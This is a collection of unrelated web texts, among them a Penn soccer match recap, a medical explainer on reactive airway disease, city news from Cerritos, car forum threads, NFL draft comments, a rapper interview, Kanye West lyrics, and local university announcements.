PHILADELPHIA – To a man, the members of Penn's men's soccer team knew that in order to get back to where they want to be – in contention for an Ivy League title and a dangerous out in the NCAA Tournament – the commitment to defense would have to be better.
So far, so good.
The Quakers routed Sacred Heart on Sunday, 5-0, to claim the championship of the Sheraton University City Penn Soccer Classic, limiting the Pioneers to just two shots on goal – both in the second half. The shutout is the second of the weekend for the Red and Blue – the first time a Penn club had opened a season with two shutout wins at home since 2006.
Goalkeeper Tyler Kinn's second career clean sheet puts his run of minutes without allowing a goal to 267:58 dating back to Penn's 2012 season finale against Harvard. Kinn conceded a goal 2:02 into that contest and hasn't had to fetch a ball out of his net since – a span of 303 days.
Ten minutes into the contest, Louis Schott scored the only goal the Quakers would need, one-touching a ball out of mid-air at the top of the box after Sacred Heart failed to clear a Penn corner successfully. The goal was the second of the season for Scott – each a game-winning goal.
Freshman Alec Neumann scored his first career goal in the 26', allowing a pair of seniors to do the dirty work before tapping the ball in from in close. Stephen Baker transitioned Penn into a scoring opportunity with a run down the right side. With defenders coming in range, Baker cooked up a cross-box pass to Alex Reddy who was willing and able to slip a quick feed to Neumann who delivered an insurance goal for the Quakers.
14 minutes later, Neumann created his own luck as he converged on Pioneer keeper Dylan Strachan at the top of the box in pursuit of a loose ball. Strachan chose to attempt a booming clear, but his kick went straight into Neumann's legs. The freshman was off to the races and in clear, needing just a few steps to settle the ball and collect his second career goal.
Sacred Heart looked to find a way back into the match early in the second half, but the Quakers never allowed a rash of true chances for the Pioneers. Closing in on ten minutes to go, Sacred Heart hauled down a Penn player in the box, resulting in a penalty kick. Stephen Baker lined up and was good on his attempt in the 78'.
1:55 later, Duke Lacroix netted his first score of the season, winning a loose ball at midfield and charging in 1v1 on the keeper. Lacroix went to the left side, and smartly booted the ball to the far post, clanging in Penn's fifth goal of the right post.
The Red and Blue will head to California for their next two matches. Up first is a contest at Cal Poly on Sept. 13 at 10 p.m. EST followed by a match at UC-Santa Barbara on Sept. 15 at 4 p.m. EST.
Notes: Penn is in the midst of a three-match winning streak dating back to Nov. 10, 2012 … The last time Penn won three matches in a row was 9/18-9/25 in 2011 … Baker's second-half goal was the 20th of his career … He is now 2-for-2 on penalty kicks over his career … Penn is 11-1 all-time in games featuring a Stephen Baker goal.

Reactive airway disease (RAD) is a reversible narrowing of the airways. RAD is sometimes called bronchospasm.
RAD is not a diagnosis. It is a term used until a more specific diagnosis can be made. If the condition lasts more than 6 months, it may be called asthma.
It is not clear what causes RAD. It may be caused by a combination of factors including environment, genetics, and biology.
RAD symptoms are caused by an increased sensitivity of the airways to certain triggers. These triggers cause tightening of the muscles around the airway. At the same time, the lining of the airways swell and produce excess mucus. All of these reactions narrow the airways and make it difficult to breathe.
Risk Factors
Factors that may increase your chance of RAD include:
- Family history of reactive airway disease or asthma
- History of allergies
- Smoking
- Obesity
RAD may cause:
- Coughing
- Tightness in the chest
- Wheezing
- Shortness of breath
- Difficulty breathing
Your doctor will ask about your symptoms and medical history. A physical exam will be done. Your doctor may ask about possible triggers that were around when you developed symptoms.
Further testing may be done to look for or confirm the presence of allergies or other pulmonary issues. Tests may be done to look for pneumonia, viral infection, smoke inhalation, chemical exposure, or emphysema.
Talk with your doctor about the best treatment plan for you. Options include:
Medications may be used to prevent symptoms or treat a flare up. Options include:
- Bronchodilators to open the airways
- Corticosteroid medications to reduce inflammation
- Mast cell stabilizers or leukotriene inhibitors that can prevent inflammation
- Combination of these medications
Some of these medications may be delivered with an inhaler or a machine that makes a medicated mist.
Preventing Flare up
Keep a journal of flare ups and what was happening when they occurred. This may help you discover your triggers. When you know your triggers, take steps to avoid them.
Steps that may help you prevent future flare-ups include:
- Take precautions by getting the seasonal flu and pneumonia vaccines.
- If seasonal allergens are a trigger:
- Keep windows closed when possible. This is especially important during high pollen seasons in late morning and afternoon.
- Talk to you doctor about any adjustments that need to be made to your care plan around allergy season.
- Consider getting allergy shots, if your symptoms are chronic and you are not responding to other treatments.
- If household dust is a trigger:
- Have someone else vacuum for you. If you must vacuum, wear a dust mask. Consider getting HEPA filters for your vacuum cleaner.
- Use dust cover on mattress or pillows. If you don't have a cover on your pillow, and your pillow is washable, wash it once per week in hot water.
- Wash all towels and linens in hot water.
- Avoid exposure to pets. Do not allow pets in the bedroom.
- If chemicals and strong scents are triggers—Avoid breathing in chemicals or anything with a strong scent like perfumes or scented candles.
- Be cautious around wood-burning stoves or fireplaces. These can be triggers for some.
Learn the early warning signs of a flare-up. This will allow you to treat the condition before it worsens. These signs may include wheezing, shortness of breath, and dry cough.

CERRITOS - Despite some economic woes and the loss of its redevelopment agency, Cerritos continues to have successes, Mayor Jim Edwards said during his annual state of the city address Thursday.
"Our community has faced daunting challenges and celebrated remarkable achievements," he said. "Cerritos continues to be one of the best cities in the region, and local businesses make a significant contribution to the city's success."
The opening of two new restaurants in the past two years brought jobs and tax revenue to the city, Edwards said.
Cerritos also ranked 18th out of 539 cities in sales tax revenue, receiving $457 per capita last year.
"Sales tax helps pay for many critical city services," Edwards said.
Other positive reports included the addition of Ann Taylor and Angl Clothing stores coming to Los Cerritos Mall; and the expansion of several car dealerships in the Cerritos Auto Square and WalMart, which is adding 25,000 square feet of retail space.
Retail sales are estimated to reach more than $332.5 million in fiscal year 2011-12, a 17.6percent improvement over the past fiscal year, said City Manager Art Gallucci.
As with many cities, the biggest challenge will be the loss of redevelopment funds, Edwards said.
"Projects that we had and were ready to go with, those funds aren't available and it's so sad, but we just don't have those (funds) anymore," he said.
In the midst of a troubled economy, positive things will continue to happen in Cerritos, Edwards said. Officials project 2012 to be the best sales year ever at Los Cerritos Center.
"The fact that the mall sales could be the highest ever, in this recession - that's amazing," he said.
During his speech, Edwards praised the city's volunteers for their service.
"Our city could not offer all of the wonderful programs the community enjoys without the help of dedicated volunteers," he said.
In total, 1,303 volunteers contributed 48,568 hours of service in the past year.
Although the city lost 30 employees to either retirement or attrition, residents continue to pull together, the mayor said.
"We haven't hired anybody, but we haven't done any layoffs or furloughs," he said. "So, no one's lost their job."
City employees have continued to work hard together in the difficult times, Edwards added.
"The employees of Cerritos are a family and they've just picked up the slack and said, `There's work to do to make our city better,"' he said.

Forced Induction
Aftermarket superchargers & turbos as well as tuning for stock BMW turbos (N54 motor - 135i / 335i / 535i). Force-fed discussion to make your car go faster
|Thread Tools
|Display Modes
Compound Turbos -- MPG.
So, sometime in the future, I want to get a toy car.
Until then, I'm just trying to learn as much as possible about building a fast car.
My goal is to have a nice, fast car that I can drive daily on nice days -- not purely a Sunday driver. Because I want to drive it daily when I can, I'm taking MPG into account.
As it stands stock, I'm happy with the mileage a C6 Z06 gets.
To help with this MPG idea, I've decided that I want a build that will have power "on demand"...such as nitrous, a turbo, or a supercharger.
That way the car will run stock as it is (which, in theory, should get the gas mileage that is on the sticker?), but when you demand more power, it'll be there.
Now, I don't like nitrous...purely because it runs out.
Superchargers are okay, but I'm more of a fan of turbos.
So, I was considering compound turbos.
My question is...would compound turbos be as good a choice as a supercharger for this type of build?
I ask because...
On my car, the turbos spool at rather low RPMs. Which means more air is going in, more fuel is being burned, and you're getting less MPG.
I'm kind of wondering if a compound turbo setup would do the same thing...or if I'm mistaken all together.
With my uncle's GT500, he has a twin-screw supercharger. To get that thing to force air in, you really have to get on the throttle. Otherwise, the boost gauge just doesn't move...which is what I want. But, like I said, I like turbos more, so if the other setup can work just as well, I'd rather go with that.
your engine is not designed for a turbo. The compression is too high. With a turbo in it, surely you will burn a hole in the cylinder head. Porsches did the right thing, they have a variable vane turbo charger, which reduces lag on acceleration, and gives full power when you floor the throttle. Don't know too much about superchargers. You want more power on demand than your Z06? You probably need a dedicated weekend car instead. Why not work it this way? Z06 for daily use, and a new Viper for the weekend.
Everybody is a genius. But if you judge a fish by its ability to climb a tree, it will live its whole life believing that it is stupid. Albert Einstein
Swim upstream. Go the other way. Ignore the conventional wisdom. If everybody is doing it one way, theres a good chance you can find your niche by going exactly in the opposite direction", Sam Walton.

I planned on modifying the internals to withstand the stress.
I'm still a novice, though...and am still learning about this compression and stuff.

Pizza Delivery Man Sues Kid Ink For Dog Attack
Listen to Kid Ink Radio on iHeartRadio
A pizza delivery man is serving rapper Kid Ink with a lawsuit after he was reportedly attacked by the rapper's dog.
According to court documents obtained by TMZ.com, Garnik Nazarian says Kid Ink's dog, Louie, attacked him when he showed up to deliver a pizza to his home in the Granada Hills neighborhood of Los Angeles.
Nazarian claims he suffered injuries to his hands, arms, legs and face that have prevented him from delivering pizzas. He also says Kid Ink's dog was "unusually dangerous." He's hoping to get compensated for medical bills, as well as his lost profits.

Doesn't Lacey Chabert know the rules? All celebrities must file paperwork with the tabloids telling them who they are going to marry. That information must include their full name and any criminal history so the tabloids can save a couple of bucks by not digging. The information must also include the date and time of the wedding and a convenient place for paps to set up to steal wedding photos they can later publish as exclusives. A table at the reception must be provided for the tabloids so they can eat your food and drink and let the world what dress you wore to the wedding and what you changed into for the reception.
Lacey Chabert did none of those things and just Tweeted a photo at her wedding ceremony. That is just not how the tabloids like it because it makes them think that the celebrity doesn't like them and they really do try to kiss celebrity butt so you love them and want to do all of this for them.
Good for Lacey. Keep doing what you like. Plus now the paps will be stalking her to get a photo of her husband so that means more publicity.

I don't really like Lynch, but I love where we're selecting.
Lynch is talented, but he may be too much of a character concern. Carey is amazing value, but a lot of that will depend on MJD. I would love to have Carey on the team.
Hard to imagine not going CB in the first two rounds.

Hagman at 6'5 to 6'6 can def. add weight to his frame if he can get to say 315 or 32o in a couple of years and keep a good bit of his speed and strength he could be a monster and anchor for the falcons for years to come in any scheme we play.

The Giants are one of the easier teams to mock right now. With Cruz doing his thing, a big hole is opened up for a receiver to go next to Nicks and Randle. Jackson is also a no brainer at the LB spot.

I don't really like Lynch, but I love where we're selecting.
Lynch is talented, but he may be too much of a character concern. Carey is amazing value, but a lot of that will depend on MJD. I would love to have Carey on the team.
Hard to imagine not going CB in the first two rounds.
Im going to ride my Jacksonville pick for the division for a while. I see something special going on there.
I understand the concerns with Lynch, but babin isnt a long term player, and Lynch provides tons of upside if he comes out.
Carey is also a no-brainer if MJD goes elsewhere.
I understand the concern with corner, but I have no one rated high enough for the first pick, and if MJD leaves, Carey is a better pick for the team imo than a Robertson.

I rather have a WR like Lee or Coleman then in the second they could draft a ILB like Jackson or Skov.
I feel that Johnson fills a bigger need at a aging LB spot since two pretty good receivers are already in place on the team.

Nix is the best 34 nose prospect in years, and could go this high with the new rookie wage scale. Philly really needs to address the spot, especially with two conceivably good OLB options in Barwin and Cole. Barr would be a waste with those two on the team.

I like where the Bears are playing well kinda lol
But the picks themselves are pretty poor we just spent two draft picks on LBs and even if Bostic & Greene dont make much of an impact this season I doubt we go out and draft two more LBs in the first two rounds CB or DE are our biggest needs right now so Scott Crichton would be a better pick in the 1st round with Justin Gilbert in the 2nd round.

Until he proves otherwise, I have high hopes for Shawn Williams. We have had good luck with Georgia players recently.
I also think we will be able to retain at least one of Johnson or Dunlap and we just drafted Hunt, so I don't think we go DE that early either.
2017 Draft Needs: Interior O-line, Pass Rushing DE, Linebacker, Kicker, Overall Team Speed.

We don't exactly have a need for NT anyway, and NT's ALWAYS fall in the draft.

Can't see the 9ers not picking a DB in the first two rounds.
I can understand the reason why people keep selecting a WR early for them, but as a fan I do hope these reasons are gone before the draft in 2014.

I think the DE position could be addressed (even if Branch and Alualu pan out), but I don't know if I buy us overlooking Lynch's concerns.
Then again, perhaps his concerns are overblown. In that case, he'd probably be a good selection.

OffBEAT with Wale
Washington, D.C.'s own Wale is something of a wordsmith. The rapper, part of Rick Ross' MMG crew, is a talented writer, and his upcoming album - due out June 25 - is aptly titled The Gifted. His latest single, "Bad," features Tiara Thomas, but that doesn't mean his new album will be heavy on features. In fact, he says there "will probably be more of me than you've heard on an album."
Wale stopped by the iHeartRadio studios in New York City recently, where he sat down to answer some questions about everything but the music. Check out OffBEAT with Wale below.
How are you Bad?
I'm not bad. I don't think I'm bad. Actually I think I'm the opposite: I'm a good guy. I like to consider myself a good guy. All men are bad I think, actually, but maybe I'm the lesser of the evils in a way.
Why aren't good girls fun?
It's just an old saying I heard. I think the fun good girls are probably all taken or have kids or something like that. Hard to find.
How are you Gifted?
I think there's a gift and there's a beauty in being able to let the world know that you're not really trying to conform to what you're supposed to do in hip hop. Being able to just make this the type of records that I'm making on this new album - they're almost the opposite of traditional hip hop records. I think it's also the gift of putting words together. The fact that I even focused in on the gift of rap music is a feat in itself, because where I'm from a lot of people have come close, but something else was missing for them to get to the next level, to the level that I got right now.
Where did Ambition get you?
Well ambition got me in the seat that I'm in as far as being a staple in DC music or a part of history, highly heralded in regards to young hip hop artists. I'm one of the people that they mention now so I can't complain about that.
How would your life be different if you had pursued sports instead of music?
My knees would be hurting right now, probably a lot more. I saved my body... I think I made the right decision.
What keeps you going?
The desire to want to be great... the desire to want to be legendary... the love of the game. I love the sport of rap. I love lyrics, I love rapping, I love making songs, I like the finished product of the song.
What have you learned from Rick Ross?
Business. How to handle myself in the media. He handles himself well in the media; he doesn't let a lot of things get to him and you know, I learned that from him. I'm still learning, but I've made a lot of improvements since I first started.
Tell us a secret.
I was too nervous to speak to Katy Perry at the Grammys... I wanted to say "hello" or something, [but] she was glowing, like floating in the air... it didn't seem like she was really there. It was a weird experience for me and I'm a little bit embarrassed, but whatever. I was close. My mouth was moving and words weren't coming out and then she walked away so... I don't even think she saw me. I was kind of starstruck for a moment.

TANF Extended for Six Months
Sep 24, 2012
Concerns about the Temporary Assistance for Needy Families (TANF) extension being held hostage in an election-year conflict over waivers proved groundless, as Congress included a six-month extension of TANF, without changes, as part of the Continuing Resolution passed last week. This extension was critical, as TANF provides funding for child care, job training, and other services for low-income families, as well as cash assistance. Without an extension, TANF funding would have expired on September 30th, jeopardizing these essential programs, and creating significant problems for state governments.
The Continuing Resolution, which provides funding for all government programs for the next six months, was the last piece of legislation cleared by Congress before adjourning until after the election. When Congress returns in November for a "lame duck" session, it will have to deal with the pending deadline for developing a plan to cut the deficit in order to avoid automatic budget cuts, or "sequestration," as well as the scheduled expiration of Bush-era tax cuts. TANF is not subject to the cuts under sequestration; however, it could be affected by the deficit reduction plan that is agreed to.
Before adjourning, the House of Representatives also passed a resolution "disapproving" of the welfare waiver guidance issued by the Department of Health and Human Services (HHS) in July. Contrary to a lot of the recent partisan rhetoric, this guidance recognized the limits of the process measure currently used, and invited states to submit proposals to experiment with alternative approaches to measuring performance under TANF that would strengthen and increase employment outcomes. A recent GAO report found that eight states have expressed interest in waivers since HHS issued the guidance, but none states have submitted formal applications.
If passed by the Senate and also signed by the President, this resolution would prevent HHS from implementing the guidance. However, the Senate has not taken up the resolution and is unlikely to do so in the lame duck session. States will likely wait until after the election to decide whether to proceed with requesting waivers.

[Hook (with backing vocals from John Legend)]
('o...mind, I can't study war...)
Now where the South Side
Now where the West Side
[Verse 1: Kanye West]
Can I talk my shit again?
Even if I don't hit again?
Dog, are you fucking kidding?
My hat, my shoes, my coat
Louis Vuitton stitch, with Donatella Versace
That's Louis Vuitton, bitch
I think Hennessy, I drink, I'm gone
Off that Bacardi Limon and Corona. I'm zonin'
Class back in session so I upped it a grade
In two years Dwayne Wayne became Dwyane Wade
And hey, please don't start me
I'm like Gnarls Barkley meets Charles Barkley
I'm pop the Barkers, I'm hood the Parkers
While y'all was in limbo I raised the bar up
I touched on everything
Married to the game, rock a chain 'steada wedding ring
Y'all bridesmaids catch the garter
On nights when 'Ye romance
Cameras flash so much
That I gotta do that Yayo dance
I'm on a world tour with Common, my man
After each and every show a couple dykes in the van
It's easy
The hood love to listen to Jeezy and Weezy
And, oh yeah, Yeezy
I did it for the glory
[Verse 2: Kanye West]
What am I supposed to do now?
Man the game all messed up
How I'm suppose to stand out when everybody get dressed up?
So yeah, at the Grammys I went ultra Travolta
Yeah that tuxedo might have been a little guido
But with my ego
I can stand there in a Speedo
And be looked at like a fucking hero
The glory, the story, the chain, the polo, the night
The grind, the empty bottles of No-Doz
Tank on empty, whipping my mamma's Volvo
I spent that gas money on clothes with logos
The fur is Hermes, shit that you don't floss
The Goyard so hard man, I'm Hugo's boss
Why I gotta ask what that Tudor cost
House on the hill
Two doors from Tracey Ross
And I'm asking about her girlfriends
Yeah, the dark skin'ed ones
She asking about the speed boats yeah I admit we rented 'em
When you meet me in person what do you feel like?
I know, I know I look better in real life
I hear people compare themselves to big a lot
You know B.I.G. and Pac, you know to get it hot
I guess after I live I wanna be compared to B.I.G
Any one: Big Pun, Big L or Notorious
'Till then, get money and stunt and stay glorious
And I'm gonna stop killing these niggas soon as the chorus hit
Yeah I'mma stop killing these niggas soon as the chorus hit
These haters be killing themselves they wanna come and get the glory
The beat for this song samples from Laura Nyro's song "Save The Country", which features a strong religious message. This fits with Kanye's semi-religious image as a rapper, but thematically, Kanye uses "the glory" to refer to fame and wealth, nothing religious.
Just like the preceding track, West intended this track for Common's Finding Forever album, and even told MTV "The Glory" would be Common's first single for that album.

Inspired by Italian helicopter helmets, the Momo Fighter Classic helmet has been thermally shaped and made from carbon fibre and leather lining (same quality leather as they use in Ferrari steering wheels). The shell is manufactured from a polymer and is very lightweight and a rubberized coating is applied to shell to give it a matt finish. A fantastic looking helmet with great features, the main visor frame is made from aircraft grade carbon fibre and can be removed to turn the Momo Fighter into a regular jet style helmet.
- The inner lining is a Dupont Terinda fabric with Hypoallergenic properties that combats perspiration
- Indentations have been designed for the wearer's ears
- The anti-scratch bubble visor is heat-formed and re-inforced by a carbon panel and leather outer lining
- The helmet confirms to the current European Safety standards (ECE) E2205
- Shell material ABS
- Leather lined in leather with visor supports made from aircraft carbon

text: College Life at its Best For over 50 years Regis has been celebrating Ranger Days. The tradition is to "kick off" the week with the ever popular and wildly competitive Powder Puff Football tournament on the Boetcher Commons. Follow that up with a visit from hypnotist Jim Wand – who regularly packs the house with 600 students – and you've got yourself the making of a great start to Ranger Week. It's difficult to tell whether the culmination of Ranger Week is Ranger Day – a full day of music, food and fun activities – or the annual Mr. Regis Contest and fireworks display that follows. Some things have to been seen to be believed and Mr. Regis is one of those things. There's competitive eating, there's some sort of talent (generously defined), dancing (generally involving hairy legs and coconut bras) and of course there is the obligatory short-answer round.

Do most seo video companies put your videos up under their account and then when you stop using their service, they remove them?
I am looking into hiring a seo video company and want to know if this is common practice. I personally think that we should own those videos but it was explained to me that like a video rental, you are renting/leasing the space for those videos to be placed out their on their servers and that if you stop, it is now their property.I am able to get the company I am looking at to let us own 10 or so should we decide to stop.
The only other reason I can think of that justifies companies taking the online videos down is because it is like running a tv commercial. Once you stop paying to run it, it comes down.
Any thoughts from my esteemed colleagues?
Thank you.

It will still accomplish the goal. I agree that it isn't as personal as a live video. However, it is a video Adam that is just created in a different format.
Depends on what your goal is. Video SEO can come about without completed views--partials don't apply to the view count. So, SEO *could* be achieved with "voice over stills". It could also be achieved with videos of paint drying for a lot less money. It's not measurable, but videos that are partially watched and result in the shopper TYPING in the name of the dealership . . . I don't think they'll do that, if it happens, with a paint drying video (==video over stills). So you'd lose that hard-to-measure benefit.
Ken Beam is the Undisputed and Fully Deserved King of Effective Videos for Dealerships And Beyond. Whatever he suggests, if you can do it, you should. I don't agree with a Video SEO company pulling their videos from a DEALER's video channel if a dealer cancels--if the dealership pays a blogger for SEO work on the dealer's own web property(ies) AND then the blogger service stops, the blogs shouldn't be pulled. The SEO value would diminish over time, since the content wouldn't churn, which churning is ONE *advertised* method of doing video SEO. And so the "SEO you paid for" will stop soon, anyway. Why pull the videos, then? So, if a company stops video SEO for you, to my view holding the content hostage is a no-win for them in reputation, since the "video SEO" will decrease over time--excepting high-view videos which CAN last a long time. And if a Video SEO Company achieves that for you, I'll be surprised. Write us all here if that ever happens! :)
FWIW, Ralph is also 100% right that you should really never pay for "Video SEO" on a channel that is not the dealership's (okay, if American Idol wants to talk about you on their YouTube, that might be different!). BRIEF video pre-roll, etc. advertising is NOT Video "SEO", but it's darned effective (if brief, did I mention that?).
@ Keith - < This guy gets it! Kim I`m not sure what your role is exactly at the dealership......however you say you don`t have time to create your own videos.....correct??? Here`s a little food for thought....... Why not get a little creative with the Sales Reps & let them shoot some clips with their Smart Phones??? Then start a YouTube Channel for the dealership & give the entire Sales Team access in order to upload their own walk-around videos. Then teach them how to post some Craigs List ads using these clips for starters. Make them go out for say an hour a day & take turns shooting some walk-around videos of used cars......... then even maybe have a contest & in the Saturday morning Sales Meeting have everyone vote on the best "Clip of the Week" & the winner gets a couple of free lunches the following week or perhaps a gift card to Panera or Wendys. If you have a little fun with it & really encourage them, I`d be willing to bet that in a matter of weeks you would see one trying to out do the other. Friendly competition is great for team-spirit & ultimately will increase the quality & production in your quest to get on board the Video-Uprising!
Hope that helps a little,
@ Adam - You know what Adam??? The topic of "What is an actual Video?" usually causes quite a stir out here on ADM!~ lol..................Soooooooooooooooooooooooo heck......why don`t you start that thread............... & let`s see how/who/what defines a Video??? Great idea - Run with it pal.....
Soooooooooooooooooo here are the counts for my YouTube accounts;
Douglas Infiniti = 53,423 Total Views
Douglas VW = 121,618 Total Views
Ken Beam = 789,318
Sooooooooooooooooooooooooooooooooooooooooooooo do you think we`ve done a little business because of my clips???????
Please do share how you received so many of those views. You market the videos everywhere on the planet and in follow-up emails? :)
@ Kim - Well first off, I have to tell you that I didn`t just start doing these videos....... as I`ve been creating clips like this for almost 7 years now. Over time, more & more viewers just find your "stuff" on-line. Then if you`re a little lucky & you have a bunch of nice folks on sites like ADM & Dealer Elite really compliment your work, well it`s sort of word of mouth advertising.........
Now I do utilize the clips in various ways.... i.e. our website, Craigs List Ads, Blogs, Facebook & in EBlasts as a few examples.
Proper SEO titles & tags will take you & place you just about anywhere....... & sometimes you can get into hot water if you try haunting your competition & over-do it (that`s an entirely different topic......& boy, if you only knew what I did!.....lol)
I can share some other ideas if you would like.........
Sure. I will connect with you soon.
Your fishing and hunting pictures also do well, in their way. ;)
@ Keith - lol! Hey Keith check it out!
I added lights to Douglas VW! - lol
Ken, you deserve a million dollars for what you do. It's proof that One Man Can Make a Difference. No sh*t, my friend. Kick Ass on Saturday!!!
Hey Keith - Thanks a lot! I really appreciate that. Ummmmmmmmm....... I don`t work on Saturdays my friend. Haven`t in over 4 years now............. the benefits of working all kinds of crazy hours at home with my "Covert-Marketing-Techniques"....... One vendor refers to me as the X-Factor for Douglas............. he says it seems like they(Douglas) don`t always know why something happens or exactly what caused it to happen....... they just say "something" happens when I`m "around"......... maybe it`s the "night-thing"......

Descendants of slaves from Charleston, SC's Magnolia Plantation <www.magnoliaplantation.com>, as well as other properties operated by the Drayton family, may soon get help breaking through the brick wall African-American genealogists often encounter at the Civil War.
With funding from the plantation foundation, volunteers with the University of South Florida's Africana Heritage Project <www.africanaheritage.com> will pore over the Draytons' plantation journals to re-create slaves' family trees. The family files will be posted as free GEDCOMs on the genealogy wiki WeRelate <werelate.org>. Africana Heritage Project founder Toni Carrier says that's happening gradually as the research progresses.

Korn to release new album 'Paradigm Shift' in October
Korn has a title and a release date for their new album. Frontman Jonathan Davis and returning guitarist Brian "Head" Welch tell "Rolling Stone" their eleventh studio effort will be called The Paradigm Shift.
Scheduled to arrive in music stores on October 1st, Welch says there will be plenty for longtime fans to enjoy with the new material. He explains that after eight years away from the group, he came back with the intention of doing "the old Korn vibe, but with a new twist."
As for the new album's lyrics, Davis says they were heavily affected by his struggle to stop using anti-depressant medication. He says The Paradigm Shift was written in a haze, and a lot of it was so stream-of-consciousness that even he doesn't know what he's talking about some of the time.

From the Melissa & Doug Playbook: 3 Extension Activities for Floor Puzzles
January 9, 2013 at 5:00 pm melissaanddoug 3 comments
Ta-Da! Look at that wonderful floor puzzle your child JUST completed!! It's big, and beautiful, and…finished?
Not necessarily! Floor puzzles are a wonderful educational activity on their own, but did you know there are some additional ways you can use these large projects to sneak-in some extra learning? Here are three tips for each level of floor puzzle: Beginner, Intermediate (24-50 piece) and Advanced (100 piece).
These puzzles typically have fewer, and larger, puzzle pieces – which is great for younger puzzlers. After your child is finished, work together to:
– Identify and name all the colors used in the puzzle
– Count how many objects (animals, symbols, people) are in the puzzle
– Group similar objects together (animals, people, big things, little things)
Intermediate Floor Puzzles
Puzzles with up to 50 pieces can be a wonderful accomplishment for your child. But, once complete, there are many ways you can encourage further learning. Try:
– Seeking patterns in the puzzle: Are there objects or colors that repeat?
– Creating a story about the puzzle: Use storytelling paper to write down what's happening in the puzzle. (For example, for the Solar System puzzle below, write a story about what it would be like to visit each planet!)
– Identify and compare sizes of objects in the puzzle: What is the biggest? What is the smallest?
Advanced Floor Puzzles
Massive puzzles are so much fun to accomplish, and after you've spent all that time putting it together, it would be a shame to take it apart! Here are ways to keep enjoying your 100 piece floor puzzle.
– Measure the puzzle and talk about inches versus feet (how many feet long is the puzzle? How many inches?)
– Stare at the puzzle for a certain period of time, then look away and try to recreate the puzzle on a piece of paper from memory.
– Grab your encyclopedia, and do some research on the images or objects that appear in the puzzle. For example, if it's the Underwater floor puzzle above, look up different species of fish, or find out what plants live in the ocean and what purposes they serve.
What are your favorite ways to play, and learn, with floor puzzles? Share your ideas in the comments below, or join the conversation on Melissa & Doug's Facebook page!

Wuchenich to lead Law Enforcement and Safety
The University of South Carolina has named Chris Wuchenich as associate vice president of the Division of Law Enforcement and Safety.
Wuchenich, who was sworn in by Dr. Ted Moore, vice president for finance and planning, Friday (Aug. 27) at the law-enforcement offices on Senate Street, takes the helm of a police force responsible for the safety of 40,000 students, faculty and staff and more than 100,000 visitors to the Columbia campus each year.
He succeeds Ernie Ellis, who retired after 40 years of service.
A 15-year veteran of USC law enforcement, Wuchenich said his new role is a privilege and an honor.
"With your support and commitment, we will continue to serve the university and surrounding community with respect, compassion and integrity and advance our division," he said. "The Ellis tradition of caring, accountability and dedication to constant improvement has guided us ably, and we will continue to follow those principles."
A full-service police agency, USC's Division of Law Enforcement and Safety comprises more than 60 sworn officers and 30 civilian employees who serve and protect the Columbia campus, which spans 350 acres and includes more than 138 buildings.
As associate director of law enforcement and safety, a post held since 2008, Wuchenich was directly responsible for the oversight of all police operations, including uniform patrol, criminal investigations, training and staff development and safety and emergency management. He previously had served as deputy director for support services and a patrol officer and investigator in the division.
A native of Pittsburgh, Wuchenich earned a bachelor's degree in political science and a master's degree in public administration in 1994 and 1998, respectively, from USC. He is a graduate of the 213th session of the FBI National Academy.
He is married to Katherine Wuchenich, and they have a daughter, Kristina.

Madison Miller earns Knowles Fellowship
Madison Claire Miller, a senior Capstone Scholar and math major in the College of Arts and Sciences at the University of South Carolina, has been awarded a 2011 Knowles Science Teaching Fellowship in Mathematics.
She is the 10th USC student and the eighth mathematics major to be named a Knowles Teaching Fellow.
Miller is a graduate of Long Reach High School and is the daughter of Belinda and Scott Miller of Elkridge, Md.
She plans to enroll in the Master of Education program in curriculum and instruction at the University of Maryland.
Miller will receive professional and financial support for up to five years, beginning with her teacher preparation program and continuing to her eligibility for tenure.
Miller has been a volunteer tutor and mentor at the Waverly Community Center, a Group Exercise instructor at the Strom Thurmond Wellness & Fitness Center, and a member of both SALA (Students Associated for Latin America) and Relay for Life. She has also had leadership roles with Kangaroo Kids Precision Jump Rope Team, which has allowed her to teach, compete and perform all over the United States and in eight foreign countries.
"I know I am going to be happy because each finalist inspired me with their talent and passion, so when I was awarded this fellowship I was most excited that I would get to continue working with this amazing group of educators. I know the professional development opportunities through KSTF are going to make me love going to work each day," said Miller.
Dr. Ed Dickey from the College of Education has provided guidance to applicants for the Knowles Teaching Fellow, all of whom have majored in mathematics or science at USC. This is the seventh consecutive year the University of South Carolina has had Knowles winners.
"Our success with Knowles awardees reflects positively on the high quality of math and science teacher preparation at USC, a collaborative effort between the College of Arts and Sciences and the College of Education," Dickey said.
KSTF Teaching Fellowships are awarded to individuals who have received a bachelor's or advanced degree in science, engineering or mathematics and are committed to teaching high school science and/or mathematics in U.S. schools. The fellowship supports them professionally and financially for up to $150,000 in addition to being a part of a network of outstanding beginning teachers who are grappling with the same issues of teacher preparation and induction.
Miller was assisted by the Office of Fellowships and Scholar Programs. Students interested in seeking national fellowships are encouraged to visit their website at www.sc.edu/ofsp for more information on fellowships and office services.

F30 320i. BMW getting back to the basics.
Hello all!! as im sure most of you know I'm (my wife i mean) is the proud owner of a new 320i for a couple months now. this is not another review, that fork wont stop poking. but what i will say is what many people are forgetting. one is about the 320i not being new, or a stripped 328. and second is how i belive the 320i (sport anyway) is bringing BMW DRIVING dynamics back and focusing less on making the F30 a rolling iphone/facbook server.
First. The 320i is not a new 3er nor is it a stripped 328i. 320i's have been sold in every other region except NA since the beginning. I believe the 320i is the bread and butter of BMW's 3er. it has more than enough every day driving power, and then some. EVERY person ive talked to that owns one or has driven one absolutely loves it. Americans are just stuck on a status mobile with 328i or higher on the decklid.(case in point, rebadging the 320d for the states a 328d becasue the "320" means "poor")
Seond. horsepower does not equal better driving dynamics or fun. For example the mustang GT, camaro Z28, SRT8's and so on have earth shattering power. However, hardly anyone calls them "drivers" cars becasue their driving feel is caveman-ish, "uhg gas pedal make car loud and go fast uhg!". anyway my point is BMW in the states are prime staus mobiles, and many e90/f30 owners are concerned with the HP number instead of the Lateral G's it can pull. many forget the true driving cars BMW used to build like the E46, E39, and the "youre one with the road and machine" E30's of old. I seriously think if they brought a 320i to the states with ZERO options. i mean no idrive, no cameras, no bluetooth NOTHING!... with a sport suspension and a 6MT it would sell faster than they could build them. plus be a couple hundered pounds lighter and about 25000 bucks! true BMW enthusiats would understand what that car is and how fun it would be. Just like the 1M they brought over. pretty much a 135i with m3 suspension and ZERO options.... sold out almost immediatly.
